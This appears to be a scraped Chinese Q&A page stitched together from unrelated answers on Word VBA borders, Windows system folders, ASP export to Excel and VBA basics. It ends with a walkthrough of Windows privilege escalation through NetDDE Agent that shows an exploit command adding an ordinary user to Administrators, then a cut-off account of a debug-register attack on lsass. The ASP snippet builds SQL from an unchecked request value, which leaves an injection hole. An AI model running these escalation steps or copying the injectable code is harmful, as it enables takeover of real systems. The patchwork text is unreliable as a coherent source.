用vba给word的 表格中的图片 加边框时 边框加到表格上
经测试编写VBA代码如下:Sub 嵌入式图片加边框()Application.ScreenUpdating = FalseDim a As IntegerDim pic As InlineShapeDim aBorder As Bordera = ActiveDocument.InlineShapes.CountIf a = 0 ThenMsgBox ("没有发现嵌入式图片")End IfFor Each pic In ActiveDocument.InlineShapespic.Borders.Enable = TrueWith picFor Each aBorder In pic.BordersWith aBorder.LineWidth = wdLineWidth025pt.Color = wdColorBlueEnd WithNext aBorder.ScaleHeight = 100.ScaleWidth = 100End WithNextApplication.ScreenUpdating = TrueEnd SubSub 取消边框()Dim a As Integera = ActiveDocument.InlineShapes.CountIf a = 0 ThenMsgBox ("没有发现嵌入式图片")End IfActiveDocument.InlineShapes(1).Borders.Enable = FalseEnd SubPrivate Sub CommandButton1_Click()嵌入式图片加边框End SubPrivate Sub CommandButton2_Click()取消边框End Sub效果如下:
电脑C盘的文件夹及子文件的详细介绍
系统文件夹详解Win9X/Me篇?? 朋友我们每天都在使用Windows,可你对它的系统文件夹熟悉吗?据说目前Windows9X仍然有很多用户,而WindowsMe和Windows9X又很相近。
这里就带你走进Windows9X/Me主要的系统文件夹,将它们看个通透吧。
首先需要明确一个概念,“系统文件夹”指的是存放操作系统主要文件的文件夹,一般在安装操作系统过程中自动创建并将相关文件放在对应的文件夹中,这里面的文件直接影响系统的正常运行,多数都不允许随意改变。
Command 该文件夹内有很多DOS下的外部命令程序,这些小工具在系统崩溃对于系统的修复很有用,如Bootdisk.Bat文件可以用于在DOS命令行上创建启动盘。
Cookies “甜饼”文件夹,存放用户浏览某些网站时由网站在你的硬盘上创建的一些个人资料,如用户名、所到过的网址等。
Desktop 桌面文件夹,存放于该文件夹内的文件将直接显示在桌面上。
DownloadedProgramFiles 存放IE下载文件的文件夹。
其中包含了显示已打开过的Web页所需的文件(大部分文件用来运行Web页面上的动画)。
注意:这并不是你下载的软件必须放置的文件夹。
Favorites “收藏夹”文件夹。
我们在IE中将某个网页“添加到收藏夹”,实际上就是将网页的快捷方式存放在该文件夹下,当然也可以在该文件下创建更多的文件夹,以便将收藏分类存放。
Fonts 字体文件夹。
系统中所有要用到的字体都存放在此,所以添加新字体除了通过打开控制面板的“字体”窗口中的“安装新字体”项的方式进行以外,也可以直接将字体文件复制到这里;在此也可删除某些不常用的字体文件(但注意扩展名为.fon的屏幕字体最好不要乱删,以免引起系统不能正常显示)。
Help 帮助文件的存放文件夹。
里面包括很多很详细的帮助文件,遇到疑难可多看这些帮助文件,它们对用户会有很多帮助。
History 历史记录文件夹。
当在IE浏览器浏览过一个网页时,IE默认会创建一个历史记录信息存放在此。
如果不想让他人知道你的浏览行踪,可以删除这个文件夹中的内容。
OfflineWebPages 脱机浏览文件的存放位置。
当某个站点被设成允许脱机使用时,就会在该文件夹中生成对应的文件。
Recent 记录最近打开过的文档的文件夹。
其中的内容和开始菜单中“文档”项中的内容相对应,所以要想清除最近打开过的文档记录,直接删除该文件夹中的快捷方式即可。
StartMenu 开始菜单文件夹。
其中的项目对应开始菜单中的程序项,在该文件夹中可以调整开始菜单项目(如增加、删除、重新分类等)。
Sysbckup 该文件夹用于存放系统对注册表和系统文件的备份信息。
System 这是系统文件夹,存放了系统中的重要文件(如DLL文件等),一些软件在安装时也会向该文件夹复制文件,因此,随着安装的软件的增加,此文件夹中的内容也会越来越多。
该文件夹内的文件一般不要轻易删除,否则会导致系统错误。
System32 32位的系统文件夹,其中有很多虚拟设备文件(扩展名为VXD),随意删除它们会引起系统出错甚至崩溃。
Temp 临时文件夹,存放系统运行时产生的临时文件。
其中的文件通常需要手动进行清理。
TemporaryInternetFiles IE的临时文件夹。
该文件夹中存放IE浏览网页时所生成的一些内容,当再次打开相同网页时系统会从这里读取,以加快浏览速度。
因此适当加大该临时文件夹的空间会使浏览速度更快(在控制面板的“Internet选项”中设置)。
系统文件夹详解Win2000/XP篇? ? 既然说完了win98/Me的系统文件夹那么现在说说流行的Win2000/XP的系统文件夹吧。
在系统安装完成后,默认会生成三个文件夹:“WinNT”(对XP而言则是Windows)、“DocumentsandSettings”和“ProgramFiles”。
与Windows9X/Me相比,在系统安装目录(Winnt或Windows)中的很多文件夹的作用都是相同的。
由于很多系统必需的文件存放到了“DocumentsandSettings”下,所以我们也将它作为系统文件夹来介绍。
同“Win9X/Me”一样,我们仍然只介绍重要的常见的文件夹。
1.安装目录下与Win9X/Me不同的文件夹 与Win9X/Me相同文件夹的作用在上篇我已经提到了,这里不再赘述了。
此处仅介绍与Win9X/Me不同的文件夹。
ConnectionWizard:存放“Internet连接向导”用到的文件。
DriverCache:该文件夹一般还会有i386文件夹,其中存放的是会用到的驱动程序压缩文件(该文件一般有几十兆之多)。
Ime:输入法信息存放该文件夹中。
Prefetch:预读取文件夹。
为了加快文件的访问速度,在WinXP中使用了预读取技术,它会将访问过的文件在该文件夹下生成新的信息(扩展名为PF的文件)。
Repair:第一次安装Win2000/XP时系统自动在这里保存AUTOEXEC.BAT,CONFIG.SYS等相关的系统文件。
Resources:存放相关桌面主题的文件夹。
System和System32:尽管这两个文件夹在Win9X/Me中也有,但是,Win2000/XP中几乎所有的系统文件都放在System32下,而system下只存放一些16位的驱动程序及一些软件的共享运行库。
Temp:在Win2000/XP中这个文件夹已经基本不起作用,因为每个用户都有自己专门的临时文件夹(放在“...
如何将asp查询结果输出为excel表格
生成EXCEL文件 Response.Expires =-1 Response.ExpiresAbsolute = Now() - 1 Response.cachecontrol = "no-cache" Set fs = server.CreateObject("scripting.filesystemobject") '--假设你想让生成的EXCEL文件做如下的存放 filename="Regist_Exhi"&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&".xls" filename1="EXECL/"&filename filename=Server.MapPath(filename1) '--如果原来的EXCEL文件存在的话删除它 if fs.FileExists(filename) then fs.DeleteFile(filename) end if '--创建EXCEL文件 set myfile = fs.CreateTextFile(filename,true) dim strLine,responsestr strLine="" '得到表的列名 strLine=strLine & "公司名称"& chr(9) strLine=strLine & "姓名"& chr(9) strLine=strLine & "工作职务"& chr(9) strLine=strLine & "所在国家"& chr(9) strLine=strLine & "所在城市"& chr(9) strLine=strLine & "地址"& chr(9) strLine=strLine & "邮政编码"& chr(9) strLine=strLine & "电话"& chr(9) strLine=strLine & "传真"& chr(9) strLine=strLine & "手机"& chr(9) strLine=strLine & "电子邮箱"& chr(9) strLine=strLine & "网址"& chr(9) strLine=strLine & "行业性质"& chr(9) strLine=strLine & " "& chr(9) strLine=strLine & "渠道获得"& chr(9) strLine=strLine & "报名流水号"& chr(9) strLine=strLine & "报名时间"& chr(9) '--将表的列名先写入EXCEL myfile.writeline strLine Set rs = Server.CreateObject("ADODB.Recordset") '--从数据库中把你想放到EXCEL中的数据查出来 sql="Select * from Regist_Exhi where Area="&Request("Pid")&" order by id Desc" rs.Open sql,conn if Not rs.EOF then Do while Not rs.EOF strLine = Rs("company") & chr(9) strLine =strLine & Rs("gname") & Rs("sex")& chr(9) strLine =strLine & Rs("jobtitle") & chr(9) strLine =strLine & Rs("country") & chr(9) strLine =strLine & Rs("city")& chr(9) strLine =strLine & Rs("address") & chr(9) strLine =strLine & Rs("postal") & chr(9) strLine =strLine & Rs("phone") & chr(9) strLine =strLine & Rs("fax") & chr(9) strLine =strLine & Rs("mobile") & chr(9) strLine =strLine & Rs("email")& chr(9) strLine =strLine & Rs("http") & chr(9) strLine =strLine & Rs("trade")&rs("tradeElse")& chr(9) strLine =strLine & Rs("auspice") & Rs("show")& chr(9) strLine =strLine & Rs("modes")&rs("modeElse")& chr(9) strLine =strLine & "*"&Rs("SystemNO") & chr(9) strLine =strLine & Rs("addtime") & chr(9) '--将表的数据写入EXCEL myfile.writeline strLine rs.MoveNext loop end if rs.Close set rs=nothing set conn = nothing set myfile = nothing Set fs=Nothing Response.Redirect filename1%>
VBA语句翻译
VBA由微软公司开发,最早出现在Office97中。
目前,它是用于定制和扩展Office2010功能的完整的开发工具,是Office2010套件的一部分。
VBA能给Office2010应用程序提供一种方法,让用户完成Office2010本身所不具备的功能。
例如,按照自己的习惯对Office2010进行定制,更改功能区以及常用的自动加载项。
更为重要的意义在于,通过VBA程序开发,可以更方便地实现办公自动化。
从某种意义上讲,VBA是融入Office2010各个应用程序中的解释器,解释并执行用户编写的程序指令。
所以,VBA与Word2010、Excel2010、Access2010、Outlook2010以及SharePointDesigner 2010等Office2010应用程序存在着密切的联系。
?要介绍VBA,就无法回避VBA与VisualBasic的关系。
VBA是基于VB发展而来,具有相似的语言结构。
在Office2010中,VBA提供的工具和编辑环境与VisualBasic程序设计系统的开发环境是一样的。
但是,使用VBA进行的程序设计,保存在Office2010文档内,无法脱离Office2010应用程序的环境而独立运行。
VisualBasic则提供了更多更强大的高级开发工具,可以创建基于Windows10操作系统的程序,还可以为其它程序创建组件,例如,为Office2010开发内嵌的可执行程序以及动态链接库。
另一方面,VBA弥补了VisualBasic的不足,是微软开发工具系列的一员,支持组件对象模型和它自身的外接程序体系结构。
使用其它工具的开发者,如VisualC++和VisualBasic,可以创建与VBA兼容的组件。
希望我能帮助你解疑释惑。
NetDDE Agent是什么东西?
NetDDE Agent",是一个"NDDEAgnt"类的window class,它的功能在于协助DDE Server程序及DDE Client程序之间的数据交换。
由于它由Winlogon创建,这个Window的进程就以Local System的权限运行在登录用户的Desktop上,只不过用户看不到它而已。
"NetDDE Agent"还有另外一个辅助功能:当DDE Client试图连接到一个Trueted的DDE Share时,如果"NetDDE Agent"发现创建这个DDE Share的DDE Server尚未运行,它会主动启动这个Server。
记住"NetDDE Agent"进程是具有Local System权限的,所以它启动Server没有一点问题。
根据DilDog的研究,这个隐藏式的"NetDDE Agent"就是一个缺口(Vulerability)!还记得Window操作系统中的函数SendMessage()吗?登录用户可以利用这个函数向Desktop上的任何Window发送Message,即使这个Window不属于当前登录用户。
所以黑客在以一般用户的身份登录后,可以用SendMessage()发送一个WM_COPYDATA message给"NetDDE Agent",这个Message里面同时携带着一个精心炮制的数据块作为调用参数。
这个数据块包含以下内容: 1。
一个Trusted DDE Share的名字,比如说Chat$; 2。
一个用于启动DDE Server的命令,如果"NetDDE Agent"发现创建Chat$的DDE Server尚未运行,就根据这个命令来启动DDE Server。
但是黑客可以任选一个命 令来伪造,比如说“Net Localgroup Administrators /Add 阿猫”----这里的阿 猫已经是合法的一般用户了; 3。
一些固定不变的字节。
DilDog认为是这些字节应该是随机产生的,而不应该固定不变。
我个人理解这些字节是用于向"NetDDE Agent"或Network DDE DSDM证明WM_COPYDATA message是由合法程序(而不是黑客程序)发出的,所以它们应该随机变化而不让黑客轻易得到。
当"NDDEAgnt"接收到WM_COPYDATA message时,它核对后会发现第三部分的字节正确无误,而且Trusted DDE Share确实存在,於是它就执行黑客命令,由于"NDDEAgnt"具有Local System权限,它可以顺利地让阿猫同志光荣地加入本地Administrator Group。
DilDog在文章中还附带了一个Exploit程序netddemsg,我接下来就在dallas上演示一下我自己是如何追随阿猫加入本地Administrators Group的: /* 先以我的用户账号“moda”登录dallas。
看看本地administrators Group有哪些成员: */ D:\MyJob\securitylab\netddemsg\Debug>net localgroup administrators Alias name administrators Comment Administrators have complete and unrestricted access to the Members ----------------------------------------------------------------------------- a_mao Administrator The command completed successfully. /* 本地administrators Group目前只有两个成员,Administrator和a_mao。
试着把“moda”加入到本地administrators Group中: */ D:\MyJob\securitylab\netddemsg\Debug>net localgroup administrators /add moda System error 5 has occurred. Access is denied. /* 我的权限显然不够,所以得到error 5。
运行DilDog的Exploit程序,同时附带上我的黑客命令: */ D:\MyJob\securitylab\netddemsg\Debug>netddemsg -s Chat$ net localgroup administrators /add moda /* 程序运行结束,让我们看看“moda”是否加入本地administrators Group: */ D:\MyJob\securitylab\netddemsg\Debug> D:\MyJob\securitylab\netddemsg\Debug>net localgroup administrators Alias name administrators Comment Administrators have complete and unrestricted access to the Members ----------------------------------------------------------------------------- a_mao Administrator moda The command completed successfully. D:\MyJob\securitylab\netddemsg\Debug> /* 我也光荣地加入了本地administrators Group */ 利用Windows 2000/Intel中的Debug Register来提升权限: 我是在Georgi Guninski的个人网站http://www.guninski.com)上看到这篇文章: “Elevation of Privileges with debug registers on Win2k”,介绍如何利用Intel X86中的Debug Register来获取Local Administrator的权限。
我的运气不太好,用文章中的Exploit程序Pipe3试了几次也不能成功,不过觉得利用Debug Register来攻击是个新的思路,所以就在这里顺便介绍一下。
Intel X86的Debug Register(DR0-DR7寄存器)是所有进程共用的。
也就是说,你在一般用户进程中下一个绊子(就是设置一个断点),没准会把某个系统进程或者服务进程(Service)绊一跤;这一跤要是把系统/服务进程摔垮了,导致它停止执行的话,你没准就可以伪造该进程的Named Pipe;然后当有其它进程企图通过Named Pipe与垮掉的系统/服务进程联络时,黑客就可以利用函数ImpersonateNamedPipeClient来窃取其它进程的权限----这很可能就是Local SSystem的权限。
文章中的Exploit程序Pipe3(请从网http://www.guninski.com下载)就是按照这个思路设计的:它要整垮的进程是lsass,所以必须先找几个lsass进程将要运行的指令的地址,以便在这些地址设置断点(也就是搞清楚lsass要走哪一条路,我们才...
转载请注明出处51数据库 » word.application pid